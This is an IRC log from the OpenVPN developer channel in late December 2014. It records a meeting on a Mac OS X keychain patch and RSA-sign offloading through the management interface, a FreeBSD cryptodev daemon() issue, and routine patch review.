[~none@openvpn/community/support/roentgen] has quit [Quit: No Ping reply in 180 seconds.] 11:07 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 11:07 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 20:04 -!- Envil [~meep@95.211.26.40] has quit [Remote host closed the connection] --- Day changed Sun Dec 28 2014 04:02 <@cron2> whee.... just looking at the "milestone: release 2.4" tickets in trac... Way Too Many 04:26 <@syzzer> yep... 04:34 <@cron2> (and now since I've bumped the milestone for all open 2.3 tickets to 2.3.7, there's also too many of those...) 04:34 <@cron2> but I think I see at least one that has been fixed :) - #473 04:34 <@syzzer> ah, you've started doing new years cleanup already 04:35 <@syzzer> yeah, should be... but I didn't dare to claim that anymore :p 04:36 <@cron2> hehe :) - and indeed, it has not been actually *released*, there's quite a bit in release/2.3 already, after 2.3.6 04:53 <@syzzer> I'll do some testing for #480, and think if that doesn't show any weird things we should merge it 04:53 <@syzzer> nobody seems to really know that code, but as far as I can tall the patch looks sane (and at least it works for the FreeBSD people, and doesn't break my linux builds) 04:55 <@syzzer> I'll do some smoke tests on linux and windows, for both openssl and polarssl builds 05:05 * cron2 argues #279 to death and closes it 05:06 <@cron2> (and smiles that dazo categorized it as 'trivial') 05:26 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 258 seconds] 05:52 -!- mattock_afk is now known as mattock 06:05 <@syzzer> cron2: #391 can be closed, right? 06:07 <@mattock> I personally invited Vasily (author of OS X keychain patch), jamesyonan and d12fk to tomorrow's meeting 06:07 <@mattock> hopefully we get all onboard 06:07 <@syzzer> mattock: ah, nice! 06:15 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 06:15 -!- mode/#openvpn-devel [+o pekster] by ChanServ 06:31 <@mattock> guys: I'm wondering if we should take a slightly different ACK strategy with large patchsets like Heiko's interactive service 06:32 <@mattock> the thing is that it's impossible to verify the correctness of the code by staring at it 06:32 <@mattock> I think we should have separate, easily testable installers/packages for such functionality, and see if they break in practice 06:34 <@mattock> so that the process would be "code makes sense -> code looks good -> passes (limited) tests in the field -> merge" 06:35 <@syzzer> mattock: that sounds really good to me, especially if this means you're volunteering to build those installers / packages ;) 06:35 <@mattock> the idea being that nobody will get hanged for giving an ACK to code which causes terrible havoc 06:35 <@mattock> well, I will have to take the beating :P 06:35 <@mattock> for Heiko's patchset that's fairly easy 06:35 <@mattock> for Debian/Ubuntu a bit more work is required 06:35 <@syzzer> I've spent yesterday basically setting up a build environment for windows+openssl (and finally gave in and used some hack on top of openvpn-build...) 06:36 <@mattock> sounds like fun :P 06:36 <@syzzer> ^^ well, that is why I prefer you to do it :P 06:37 <@mattock> yeah, I can easily take care of interactive service -enabled Windows installers 06:37 <@mattock> if we decide to ACK the OS X keychain patchset, then I can probably get the Tunnelblick author to work with us 06:38 <@syzzer> if you could publish your build scripts for those, that would be even more awesome, since that way I can easily toy around with code, and quickly test ideas / fixes 06:39 <@syzzer> yeah, all I can do there is stare at the code. I have no OSX machines, nor experience with the platform... 06:40 <@mattock> same here 06:40 <@mattock> what build scripts are you referring to? 06:41 <@mattock> openvpn-build? 06:41 <@syzzer> yes, that kind of stuff. I guess you'll have to create some for the interactive service too/ 06:42 <@mattock> I think stock openvpn-build will work just fine 06:42 <@mattock> could be wrong 06:43 <@syzzer> oh, btw, I have a patch for openvpn-build that helps me in abusing it to build windows stuff :p do you prefer patches? pull requests? 06:43 <@mattock> pull request is fine 06:43 <@syzzer> could very well work, I didn't test (as long as I'm using polarssl, I tend to get it to work on my own) 06:53 <@cron2> mattock: in many cases, having stuff in dedicated branch for a while (and build installers from it) makes sense. In other cases, it's not really improving anything - you still need to review the code to see if it changes stuff it shouldn't, but which isn't made visible by "just running as client" 07:15 <@mattock> cron2: agreed, hence the "ACK, but test first" approach 07:16 <@mattock> it's not like testing would remove the need for code review 07:16 <@mattock> basically this would apply only to large, invasive patchsets where people don't dare give an ACK because code review alone can't verify patch correctness 07:17 <@cron2> I would argue that "only code review can *verify* correctness" :-) - but yeah, anyway, great if we can find a way to test that stuff 07:18 <@cron2> I'll go work on a few trac tickets and minor itches in the next days, and then see that we can have this in a branch in the testing repo (unless dazo beats me to it) 07:18 <@mattock> I don't think code review can verify correctness unless the changes are trivial :P 07:18 <@mattock> testing and code review are not mutually exclusive 07:18 <@cron2> *only* code review can *verify*. Testing will give some indication for "under exactly these conditions, nothing breaks" 07:19 <@mattock> well actually neither of them can verify with 100% certainty 07:19 <@mattock> we're splitting hairs here :D 07:19 <@cron2> of course testing is usually much quicker to see "it does what is advertised" :) 07:19 <@mattock> yeah, exactly 07:19 <@mattock> the meat of the matter is that big, invasive patchsets tend to get stuck 07:20 <@cron2> yep... 07:20 <@mattock> testing them would give us confidence that nothing breaks horribly 07:20 <@mattock> that's basically my point 07:20 <@cron2> and I actually disagree with that 07:21 <@cron2> testing will show you that *what you tested* works 07:21 <@mattock> I'm not talking about me testing anything 07:21 <@mattock> I'm talking about testing in the wild 07:21 <@cron2> but with the myriard of options and combinations we have, what testing will particularily not do is "make sure that nothing breaks horribly"... 07:21 <@mattock> ok, rephrasing 07:21 <@cron2> ok, I agree to that - 07:22 <@mattock> s/horribly/"for a large number of users"/g 07:22 <@cron2> "getting stuff out and finding 1000s of volunteers to test their weird setups" is definitely good to uncover surprises 07:22 <@cron2> ok, need to run, back tonight 07:22 <@mattock> ok, see ya! 07:23 <@mattock> anyways, the best we can do is get some installers/packages out there, have a few dozens people test them in real environments 07:23 <@mattock> and if we get bug reports, there's definitely a big breakage in there 07:23 <@mattock> if we don't get any bug reports, then there might be smaller issues in there, but nothing that would affects almost every user / a very large subset of users 07:24 <@mattock> in any case, we'd have more confidence in the code than before 07:24 <@mattock> in practice we will find most of the issues when the code hits an official release, like with tap-windows6 09:17 -!- mattock is now known as mattock_afk 12:06 <@syzzer> so, I've been looking at #480 a bit more, and it actually breaks --daemon with relative key/cert/ca/etc paths and if no --cd is supplied, because daemon() will set the pwd to / 12:07 <@syzzer> but, is there any reason to set the pwd to / when daemonizing? 12:08 <@syzzer> if I change the daemon(options->cd_dir != NULL, options->log) to daemon(1, options->log) all works fine 12:13 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Quit: foo!] 12:14 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 12:14 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 12:18 <@cron2> syzzer: well, it might be considered "good style" (avoid causing file systems to be un-umountable due to current directory being in /home, ...) - but I'm just guessing 12:29 -!- Haigha [~root@dovahkiin.xomg.net] has quit [Remote host closed the connection] 12:30 -!- Haigha [~root@dovahkiin.xomg.net] has joined #openvpn-devel 12:31 -!- Haigha [~root@dovahkiin.xomg.net] has quit [Client Quit] 12:34 -!- Haigha [~root@dovahkiin.xomg.net] has joined #openvpn-devel 12:40 <@vpnHelper> RSS Update - gitrepo: Set tls-version-max to 1.1 if cryptoapicert is used <https://github.com/OpenVPN/openvpn/commit/04dcb96cc1f525afee3f830248ecaa22d1b4a4c2> 13:09 <@syzzer> cron2: you seem to be right, the 'linux daemon howto' says "The current working directory should be changed to some place that is guaranteed to always be there." 13:10 <@syzzer> hmm, I'll put the subject on the agenda for tomorrow 13:10 <@syzzer> need to go now 13:41 <@cron2> g'night --- Day changed Mon Dec 29 2014 00:54 <@vpnHelper> RSS Update - tickets: #494: OpenVPN GUI does not use file association handlers for log viewing & config editing <https://community.openvpn.net/openvpn/ticket/494> 02:01 -!- mattock_afk is now known as mattock 02:19 <@mattock> remember the meeting tonight! :) 02:22 <@syzzer> mattock: yes! I just added the cryptodev patch to the agenda :) 02:23 <@mattock> I have not heard anything from James, so it's possible that he's on vacation or something 02:23 <@mattock> we'll see 03:40 <@cron2> mornin. thanks for the reminder :) 03:47 -!- mattock is now known as mattock_afk 04:08 <@syzzer> http://www.spiegel.de/international/germany/inside-the-nsa-s-war-on-internet-security-a-1010361.html 04:08 <@vpnHelper> Title: Inside the NSA's War on Internet Security - SPIEGEL ONLINE (at www.spiegel.de) 04:08 <@syzzer> no word on openvpn... 04:09 <@syzzer> (though propably the SSL-related parts apply to openvpn too) 04:19 <@cron2> yeah, saw that yesterday and wondered - seems they do not have a success story there. I claim it's because we're just secure! 05:33 -!- djc [~djc@gentoo/developer/djc] has left #openvpn-devel [] 07:21 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 244 seconds] 07:22 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 07:22 -!- mode/#openvpn-devel [+o andj] by ChanServ 10:36 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 10:38 <@vpnHelper> RSS Update - tickets: #495: src/plugins/down-root/down-root.c should not include directly <https://community.openvpn.net/openvpn/ticket/495> 10:44 <@vpnHelper> RSS Update - tickets: #496: src/plugins/down-root/down-root.c should use src/compat/compat-daemon.c when daemon() not exist <https://community.openvpn.net/openvpn/ticket/496> 11:14 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 11:14 -!- mode/#openvpn-devel [+o cron2] by ChanServ 11:48 <@cron2> so. bikeshed is painted. 12:13 -!- segoon [~vasya@ppp83-237-10-94.pppoe.mtu-net.ru] has joined #openvpn-devel 12:44 -!- mattock_afk is now known as mattock 12:50 < segoon> hi, I'm Vasily Kulikov, the author of OS X keychain patch 12:51 <@syzzer> segoon: hi! 12:53 <@mattock> hi segoon! 12:53 <@mattock> is d12fk here today? 12:54 <@mattock> I don't know if James will be present, but he has not responded to my emails 12:54 <@mattock> he might be on vacation 13:00 <@mattock> ok, meeting time 13:01 <@mattock> who is here? 13:01 * syzzer reporting in 13:02 <@syzzer> haven't seen dazo for a while, he's not even in the channel? 13:02 <@cron2> yo 13:02 <@mattock> hi cron2! 13:02 <@mattock> d12fk? 13:03 <@cron2> haven't seen him in a while 13:03 <@syzzer> plaisthos: we need you for osx stuff! 13:05 <@mattock> no word from James, so I suppose he's not coming 13:05 <@mattock> I'll shoot him an email just in case 13:08 <@mattock> sent 13:09 <@mattock> I think the current attendees are what we'll get today 13:09 <@mattock> shall we start? 13:09 -!- jamesyonan [~jamesyona@c-67-166-32-18.hsd1.co.comcast.net] has joined #openvpn-devel 13:09 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:10 <@cron2> hi james :) 13:10 <@jamesyonan> hi cron2 13:10 <@syzzer> I'll poke plaisthos on whatsapp, but I think we can start in the mean while 13:10 <@mattock> hi james! 13:10 <@mattock> let's begin 13:10 <@mattock> ok, so today's agenda: https://community.openvpn.net/openvpn/wiki/Topics-2014-12-29 13:10 <@vpnHelper> Title: Topics-2014-12-29 – OpenVPN Community (at community.openvpn.net) 13:11 <@plaisthos> syzzer: YEAH i HAVE TIME 13:11 <@mattock> first topic is segoon's patch: ​http://thread.gmane.org/gmane.network.openvpn.devel/9320/focus=9346 ("Add Mac OS X keychain support") 13:11 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:11 <@plaisthos> sorry for caps 13:11 <@mattock> plaisthos: :) 13:11 <@mattock> plaisthos: I thought you got annoyed about being pulled to the meeting :P 13:11 <@syzzer> oh, nvm :p 13:12 <@mattock> jamesyonan: doesn't OpenVPN Connect have OS X keychain support? 13:12 <@jamesyonan> yes it does, but it's implemented by the Connect management interface client 13:13 <@mattock> any thoughts on segoon's approach in general? 13:13 <@jamesyonan> overall the patch seems okay 13:14 <@plaisthos> I unfortenately had not really time to look into it yet in detail 13:14 <@mattock> the patch is pretty big, but only seems to add stuff, not touch existing things 13:14 <@mattock> mostly 13:14 <@syzzer> in general I'd say this should preferably be implemented outside of the openvpn core, but since we already have windows in there too we might move those out later on if we really want that 13:15 < segoon> the number of changes to the old code is limited to "if (keychain arg is set) { ... }" 13:15 <@cron2> there are a few bits in there that look unrelated, like the patch to compat.h 13:16 <@jamesyonan> I think the more modern thinking about keychain support is to have the keychain ops be implemented outside the core in the app-level process (like a UI) that is controlling the OpenVPN daemon 13:17 <@jamesyonan> because then the user can use their own user-level keychain, rather than having to use the keychain that is accessible to the OpenVPN daemon which is probably running in root/admin context 13:19 < segoon> jamesyonan: OpenVPN under Tunnelblick is started under root, but it has an access to the user's keychain 13:20 < segoon> fwiw, I ported the patch to the current OpenVPN version by the Yandex company request, they use the patched OpenVPN under Tunnelblick 13:21 <@jamesyonan> does Tunnelblick run OpenVPN as root? 13:21 <@plaisthos> yes 13:21 <@syzzer> (I never used tunnelblick, so maybe I'm asking the obvious here) tunnelblick itself has no support for the key chain? 13:21 <@plaisthos> no unfortenately not 13:21 <@jamesyonan> but how does OpenVPN, running as root, know which user's keychain to use? 13:22 <@mattock> I believe tunnelblick is the de facto OpenVPN GUI for OS X... there's the Viscosity thing, but that one is proprietary 13:22 <@plaisthos> yeah. Tunnelblick calls the openvpn binary as root and does the management+other paramter stuff 13:22 <@jamesyonan> or does it require that certs/keys be in the system keychain? 13:23 <@plaisthos> like the windows version 13:23 < segoon> syzzer: the thing is that private key can be configured non-exportable, so openvpn calls Keychain API each time to decrypt the data, it would be problematic if implemented in Tunnelblick 13:23 <@plaisthos> segoon: not that would worke fine 13:23 <@jamesyonan> no, that's not how it works 13:23 <@syzzer> segoon: I don't think so, the management interface has the 'rsa_sign' command to request a new sigature 13:23 <@jamesyonan> RSA offload only requires one call per TLS negotiation 13:24 <@jamesyonan> so having the RSA sign operation run in a different process has negligible impact on performance 13:24 <@plaisthos> the situation is similar to android where an application also does not get access to the private key 13:24 < segoon> ok, probably it is not that hard to do, nevermind 13:25 <@syzzer> segoon: did you have contact with the tunnelblick guys? they might be very interested in your code too 13:26 <@cron2> I'm not sure I understand what the patch does - does it offload RSA signing, or does it just request the key+cert from the store, and do everything locally? 13:27 < segoon> syzzer: I was emailed by "Jonathan K. Bullard" <jkbullard@gmail.com>, he asked what specific code parts are related to TB, I've answered him and that's all, I haven't heard him since that time 13:28 < segoon> cron2: please look at signData() -- it doesn't request the key, it uses SecKeyRawSign() 13:28 <@mattock> segoon: jkbullard is the correct guy to contact... he's usually pretty responsive 13:28 <@jamesyonan> right, so it's offloading the signing 13:29 <@cron2> well, tls_ctx_load_keychain() claims "/* Load Certificate and Private Key */" 13:30 < segoon> jamesyonan: as to the keychain selection: on my testing machine the specific cert+key are in login keychain, not in system one 13:30 <@jamesyonan> doesn't the management interface support RSA signing offload so that tunnelblick could do the signing in the context of the end user, so that the user's keychain would be used? 13:31 < segoon> jamesyonan: I cannot answer this question, I haven't looked at the Tunnelblick code 13:31 <@jamesyonan> segoon: but how does OpenVPN daemon running as root know which user's login keychain to use? 13:32 < segoon> cron2: the "private key" part is about requesting the identity handle, it doesn't explicitly copies priv_key contents 13:32 < segoon> probably the comment is misleading 13:33 <@cron2> yep, some more explanatory comments for people unfamiliar with the keychain stuff would be welcome 13:33 <@plaisthos> with the management interface approach you would have to read user certificate+ca certifcate and put that into the config file 13:35 < segoon> plaisthos: and what about the private key (which might be not extractable)? 13:35 <@plaisthos> segoon: you get the callback via management interface 13:36 <@plaisthos> https://github.com/OpenVPN/openvpn/blob/master/doc/management-notes.txt 13:36 <@vpnHelper> Title: openvpn/management-notes.txt at master · OpenVPN/openvpn · GitHub (at github.com) 13:36 <@plaisthos> under rsa-sig 13:37 <@plaisthos> basically you replace --key with --management-external-key 13:37 <@plaisthos> and get BASE64 data you have to sign 13:40 < segoon> so that's about moving all keychain stuff out of the main OpenVPN process to a helper process that only signs the data 13:40 < segoon> this process can be run even under another user 13:40 <@plaisthos> yeah 13:40 < segoon> and it can be started/stopped via config hooks 13:40 <@plaisthos> the process which opens the management connection 13:42 < segoon> I'm trying to find cons of this solution compared to the current implementation.. 13:43 <@syzzer> well, the con is that it would mean there's more work to do... 13:43 < segoon> the code will be a bit bigger due to management send/receive code, but all code is executed outside of the main openvpn process 13:44 <@plaisthos> OpenVPN for Android has this implemented 13:44 < segoon> is it possible to include such helper into the official openvpn distro, if implemented? 13:45 <@cron2> well, the "helper" would have to go into the Gui that talks to the management interface anyway (single-user API) 13:45 <@cron2> like Tunnelblick 13:45 <@syzzer> segoon: actually, I think it would be very nice to have a simple helper that does just that in contrib/ 13:45 <@plaisthos> if you want to look an existing implementation 13:46 < segoon> the main goal of Yandex here is to push the keychain stuff to upstream to stop supporting it themselves (IOW, myself) 13:46 <@plaisthos> it is also not unrealistic to have somehting like a plugin or external command that can do the same as the management-key 13:46 <@syzzer> if we have a reference implementation testing becomes easier and it can be used by people who want osx keychain support, but do not need/want a gui 13:46 < segoon> if it is accepted by Tunnelblick instead of OpenVPN it is OK too, I think 13:48 <@syzzer> and from that perspective, you probably achieve better support if it gets integrated into tunnelblick, since those guys have shorter lines to the osx users 13:48 <@cron2> from my perspective as, well, call it "core maintainer", having all OS specific bits in an OS-specific application makes the bits *I* get to maintain easier to manage 13:48 <@syzzer> segoon: yes, just integrated into tunnelblick would be fine too 13:48 <@cron2> (and what syzzer said - if something in OSX changes, the Tunnelblick guys would be the ones to hear about it first) 13:50 < segoon> from the technical POV I like the idea of the helper out of the main openvpn process, from the social POV tunnelblick upstream'ing looks good too 13:50 < segoon> however, I'm not sure whether keychain is supposed to work from the terminal without GUI like Tunnelblick 13:50 <@cron2> a helper / plugin would also be interesting. No idea if the plugin interface can do it today 13:50 < segoon> *is supposed by Yandex 13:51 < segoon> cron2: what do you mean by "plugin" interface? Is it a yet another interface? 13:51 <@plaisthos> segoon: yeah :) 13:52 <@plaisthos> plugins can be called at/for certain events 13:52 < segoon> looking into https://github.com/OpenVPN/openvpn/blob/master/doc/README.plugins... 13:52 <@plaisthos> they are basically library with some functions that are called 13:52 <@cron2> segoon: welcome to the wonderful world of OpenVPN extensibility :-) 13:52 < segoon> :-) 13:53 <@plaisthos> we would "simply" add a --key-plugin option 13:53 <@cron2> (but as far as I can see in README.plugins, we don't support the RSA stuff) 13:53 <@plaisthos> and add a tls_rsa_sign function in the plugin interface 13:53 <@cron2> that :) 13:54 <@syzzer> *but* plugins run as the same user as the openvpn daemon, which is less favourable in this case I think 13:54 < segoon> are plugins run in the main openvpn process? 13:55 <@syzzer> segoon: yes 13:55 < segoon> so it is worse than via management interface 13:55 <@syzzer> yes, I think management interface is better in this case 13:56 <@plaisthos> yeah we don't win much %) 13:56 <@mattock> are slowly moving towards a consensus on what needs to be done? :) 13:57 < segoon> Qs about management interface: 13:57 < segoon> 1) the only secure local communication channel among the supported is unix socket, isn't it? 13:58 <@syzzer> plaisthos might know better, but I think so yes 13:58 <@plaisthos> well yes 13:59 <@plaisthos> you can also bind to 127.0.0.1 and do tcp 13:59 <@plaisthos> and can do user+pass authentication to the mgm interface 13:59 <@plaisthos> which is cleartext but that does not matter on localhost 14:00 < segoon> re: user+pass -- understood 14:00 < segoon> 2) the client connects to openvpn's server socket, registers on rsa-sign event and then should wait for the server's rsa-sign request, right? 14:00 <@plaisthos> I don't know if tunnelblick uses the management interface at the moment 14:00 <@plaisthos> segoon: yes 14:01 <@plaisthos> you can have only one client connected the interface at the time iirc 14:01 < segoon> i think it can be implemented with config file changes like 'management', 'management-external-key', 'pre-up', etc. 14:01 < segoon> AFAICS, no actions from Tunnelblick are needed 14:02 <@plaisthos> segoon: tunnelblick might already use the management interface 14:02 <@mattock> I would guess so 14:02 <@plaisthos> just do a ps aux when openvpn is running 14:02 < segoon> plaisthos: ah, do you mean that it connects to the management interface and I cannot do it again? 14:02 <@plaisthos> iirc tunnelblick adds a ton of options to openvpn via command line 14:03 <@plaisthos> segoon: yes 14:03 <@plaisthos> pretty sure it does 14:04 < segoon> no, 'ps aux | grep openvpn | grep mana' shows nothing 14:04 <@plaisthos> Acutally thinking about it, since it displays traffic statistics which you only get via management interface 14:04 < segoon> oh, wait 14:06 < segoon> nevermind, have problems with Mac :) rebooting 14:07 < segoon> is it possible to setup management interface for >1 client? 14:07 <@plaisthos> I am at the moment at my windows pc but I can get my Mac out to check 14:07 <@plaisthos> hm 14:07 <@plaisthos> I don't think so 14:07 <@cron2> segoon: no 14:08 <@plaisthos> but I would have to look at the code again 14:08 < segoon> plaisthos: can you check it on your Mac, please? 14:09 <@plaisthos> lets see if I have a working Tunnelblick installation 14:11 < segoon> ok, I checked it -- it does use --management 14:12 <@plaisthos> my tunntelblick crashes with sigsev 14:12 < segoon> so management is not an option, at least with TunnelBlick 14:12 <@syzzer> so that would mean integrating the keychain code into tunnelblick itself 14:12 <@plaisthos> or do a tunnel to your program porxy 14:12 <@plaisthos> in tunnelblick 14:13 <@syzzer> plaisthos: i guess you could, but that sounds a bit hacky. do you think that would be easier than integrating into tunnelblick itself? 14:14 <@plaisthos> syzzer: if you want to have the functionaitaliy without tunnelblick 14:14 < segoon> plaisthos: sorry, I don't understand your proxy idea 14:14 < segoon> proxy/tunnel 14:15 <@plaisthos> segoon: when tunnelblick gets a a rsa_sign it sends it to your program instead of cyring and knowing what to do :) 14:16 < segoon> as I completely don't know TB's internals I cannot say how extensible it is 14:16 < segoon> OK, I should look at TB's way of --management handling 14:16 < segoon> am I right that the patch for openvpn is NACK for now? 14:16 <@plaisthos> be warned 14:16 <@plaisthos> building tunntelblick is hellish 14:17 <@cron2> segoon: yeah, sort of "we like the feature, but it might be better done in Tunnelblick"-NAK 14:17 <@syzzer> segoon: I think, but as far is I'm concerned just "for now", as the a solution outside of the openvpn core looks as a beter option 14:19 < segoon> OK, I'll look at TB. If I'll need openvpn-devel feedback again, how should I ping you guys? 14:20 <@plaisthos> yes 14:20 <@cron2> here, or on the list 14:20 <@plaisthos> if you have question to all the rsa-sign stuff just ping me 14:20 <@cron2> Jonathan Bullard also reads openvpn-devel list 14:20 < segoon> oh, mailing list, I forgot about it :-) 14:20 <@mattock> :) 14:20 <@mattock> next topic? 14:21 < segoon> okay, thanks guys! 14:21 <@syzzer> segoon: thank you too! 14:21 <@mattock> you're welcome! 14:22 <@mattock> next topic would be "​Make OpenVPN set routes on Windows Vista and later", i.e. the interactive service from d12fk 14:22 <@syzzer> mattock: no, d12fk, so towards the cryptodev patch than? 14:22 <@syzzer> *then 14:22 <@mattock> has anyone reviewed the d12fk's code? 14:22 <@cron2> not me, sorry 14:23 <@syzzer> I started out a bit, but definitely not done 14:23 <@mattock> once the code has seen some review I can generate special Windows installers based on it 14:23 <@mattock> for testing 14:24 <@syzzer> it's on my list to look into it a bit more 14:24 <@mattock> anyhow, let's talk about this when d12fk is here... and hopefully some of you has had time to review the code by then 14:24 <@mattock> maybe retry two weeks from now? 14:24 <@cron2> mattock: yes. But we can cover cryptodev (BSD) 14:24 <@mattock> definitely 14:24 <@mattock> "Openvpn with cryptodev on FreeBSD does not work" 14:24 <@mattock> https://community.openvpn.net/openvpn/ticket/480 14:24 <@vpnHelper> Title: #480 ([PATCH] Openvpn with crytpodev on FreeBSD does not work) – OpenVPN Community (at community.openvpn.net) 14:25 <@mattock> so "looks innocent, but could break things" 14:25 <@syzzer> yes, so, I looked into this a bit 14:25 <@plaisthos> yes 14:25 <@plaisthos> like how I broke certain obscure chroot configuration with init reordering 14:26 <@cron2> the patch, simple as it is, doesn't sound good to me if it has side-effects 14:26 <@syzzer> the thing is, because the patch pulls the daemon() call forward, some stuff won't work like it used to 14:26 <@cron2> this, yes 14:26 <@syzzer> for example, if you have relative paths in your config file 14:26 <@cron2> so can we just move the cryptodev init after daemon()? I haven't checked where that is actually initialized 14:27 <@syzzer> if that is possible, that would be the preferred solution 14:27 <@syzzer> I just assumed the cryptodev would be automatically initialized when we init openssl 14:28 * cron2 has no idea 14:28 <@syzzer> I don't know either, I don't use freebsd... 14:29 <@cron2> I do, but "man cryptodev" doesn't particularily help here ("it will provide crypto primitives") 14:29 <@plaisthos> isn't cryptodev for hw crypto acclerators? 14:29 <@syzzer> yeah, sounds like openssl opens /dev/crypto, openvpn forks, pid changes, /dev/crypto refuses to answer to the new pid 14:30 <@cron2> plaisthos: yes 14:30 <@syzzer> plaisthos: yes, including stuff like aes-ni iirc 14:30 <@cron2> The crypto driver provides a device-independent framework to support 14:30 <@cron2> cryptographic operations in the kernel. The cryptodev driver provides 14:30 <@cron2> userland applications access to this support through the /dev/crypto 14:30 <@cron2> device. This node primarily operates in an ioctl(2) based model, permit- 14:30 <@cron2> ting a variety of applications to query device capabilities, submit 14:30 <@plaisthos> (which is stupid for aes-ni) 14:30 <@cron2> transactions, and get results. 14:31 -!- segoon [~vasya@ppp83-237-10-94.pppoe.mtu-net.ru] has quit [Quit: WeeChat 0.3.7] 14:31 <@cron2> so - can we easily move just openssl init to "after daemon()"? 14:32 <@plaisthos> yeah 14:32 <@syzzer> cron2: don't think so, we currently load certs etc there 14:32 <@plaisthos> see syzzer 14:32 <@syzzer> and the problem is those paths no longer work after daemon() 14:32 <@cron2> oh 14:33 <@syzzer> but I have to dig a bit deeper, I just wanted to hear your thought on whether it's bad if relative patch no longer work when using --daemon without --cd 14:33 -!- jamesyonan [~jamesyona@c-67-166-32-18.hsd1.co.comcast.net] has quit [Ping timeout: 244 seconds] 14:33 <@cron2> this will break user configs, so "yes" 14:34 <@cron2> I see inside possibly_become_daemon() a pkcs11_forkFixup (); 14:34 <@syzzer> ok, in that case it's a NAK for now, I'll look into it a bit more 14:35 <@cron2> maybe there is an openssl_forkFixup()? 14:35 <@syzzer> yeah, some magic inside pkcs11-helper (I didn't really look into it more) 14:38 <@cron2> mmh, googling suggests that there is cryptodev for linux, and openssl can talk to it 14:41 <@syzzer> I doing multiple things at the same time now, will look into it later 14:41 <@mattock> ok, meeting concluded? 14:42 <@cron2> plaisthos: when you have time, could you look at my bikesheds? 14:43 <@mattock> meeting concluded, sending out the summary 14:43 <@mattock> :) 14:43 <@cron2> g'night 14:43 <@syzzer> ok, good :) 14:43 <@plaisthos> cron2: which ones? 14:43 <@cron2> [PATCH] Print remote IPv4 address (today) 14:43 <@cron2> [PATCH] Remove count_netmask_bits() (Dec 27) 14:44 <@plaisthos> cron2: will do 14:44 <@cron2> thanks 14:44 <@plaisthos> I will ack those when I have a look at them 14:44 <@plaisthos> at the code 14:44 <@cron2> take your time, took me 2 months to actually get around to implement :) 14:48 -!- jamesyonan_ [~jamesyona@c-67-166-32-18.hsd1.co.comcast.net] has joined #openvpn-devel 14:48 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 14:49 -!- mattock is now known as mattock_afk 20:19 -!- jamesyonan_ [~jamesyona@c-67-166-32-18.hsd1.co.comcast.net] has quit [Ping timeout: 244 seconds] --- Day changed Tue Dec 30 2014 02:52 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 255 seconds] 02:53 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 07:24 -!- mattock_afk is now known as mattock 14:41 -!- mattock is now known as mattock_afk --- Day changed Wed Dec 31 2014 03:35 <@vpnHelper> RSS Update - gitrepo: Default gateway can't be determined on illumos/Solaris platforms <https://github.com/OpenVPN/openvpn/commit/01bfdf3a38059cf907bec60d6fd36a5eeef59032> 03:38 <@cron2> syzzer: could you rebase the "remove ENABLE_SSL" patch and re-send, please? I was trying to ACK-and-merge, and it conflicts in options.c (pkcs#11 patch changed context) 03:57 <@syzzer> cron2: will do! 08:34 <@vpnHelper> RSS Update - gitrepo: openssl: add more descriptive message for 'no shared cipher' error <https://github.com/OpenVPN/openvpn/commit/c3e1809f540db16c23fc74f06d6e8c29a4a6941a> || openssl: add crypto_msg(), to easily log openssl errors <https://github.com/OpenVPN/openvpn/commit/e795d6ba57e6e79bfae941ab048e44e47179865c> 09:06 -!- mattock_afk is now known as mattock 10:37 <@syzzer> cron2: updated patches on the list! 10:39 <@cron2> already applied :-) 10:39 <@cron2> (you're on the way to break dazo's record in patches in "git shortlog"...) 10:40 <@cron2> mattock will hate us for this patch... :) 10:44 <@syzzer> oh, wow, that was quick! 10:45 <@cron2> well, I was ready to ACK and merge that one anyway, just was too lazy to "rebase" manually :) 10:45 <@cron2> and my kids conveniently left me alone 10 minutes 10:45 <@syzzer> hehe 10:46 <@cron2> I'll tackle the openssl crypto_msg() v2 later today or tomorrow, this needs a few more minutes undisturbed... 10:46 <@vpnHelper> RSS Update - gitrepo: Remove ENABLE_SSL define (and --disable-ssl configure option) <https://github.com/OpenVPN/openvpn/commit/ec828db63f12eeb17f0f8c4de57f766e70161a13> 10:46 <@cron2> so, now let's wait for all the buildbots that complain that --disable-ssl is not a valid configure option... :-) 10:48 <@syzzer> 73 vs 164, almost halfway dazo' ;) 10:50 <@cron2> if you just look at shortlog v2.3.0..HEAD, you're well ahead :) 10:50 <@cron2> Arne Schwabe (64): 10:50 <@cron2> David Sommerseth (29): 10:50 <@cron2> Steffan Karger (72): 10:52 <@cron2> mmmh 10:53 <@cron2> + crypto_msg (M_FATAL, 10:53 <@cron2> + "Failed to set restricted TLS cipher list, too long (>%d).", 10:53 <@cron2> + (int)sizeof(openssl_ciphers)-1); 10:54 <@syzzer> yuk... 10:54 <@syzzer> will fix! 10:54 * cron2 thinks that this shouldn't be M_SSLERR in the first place, and should not be crypto_msg() now 10:54 <@cron2> :) 10:54 <@syzzer> oh, I just noticed the ugly cast at first :p 10:55 <@cron2> well, the ugly cast is there to make "%d" happy across platforms, and should be fine (it won't be larger than 2^31) 10:57 <@cron2> the rest looks good to me 10:57 <@syzzer> do we support platform that don't have %zu / 10:57 <@cron2> what the hell is %zu? O_o 10:57 <@syzzer> "print a size_t" 10:57 <@cron2> (most likely we don't, but hey, windows...) 10:59 <@syzzer> oh, it's C99 and msvc does not grok it :( 10:59 <@cron2> for other types, we declare xxx_format in common.h and use that, but I find that more ugly than just casting to (int) here 11:02 <@syzzer> it should be msg(), but I think it needs to be fatal, because tls_ctx_restrict_ciphers() returns void 11:03 <@syzzer> notice it is only called during init, so starting 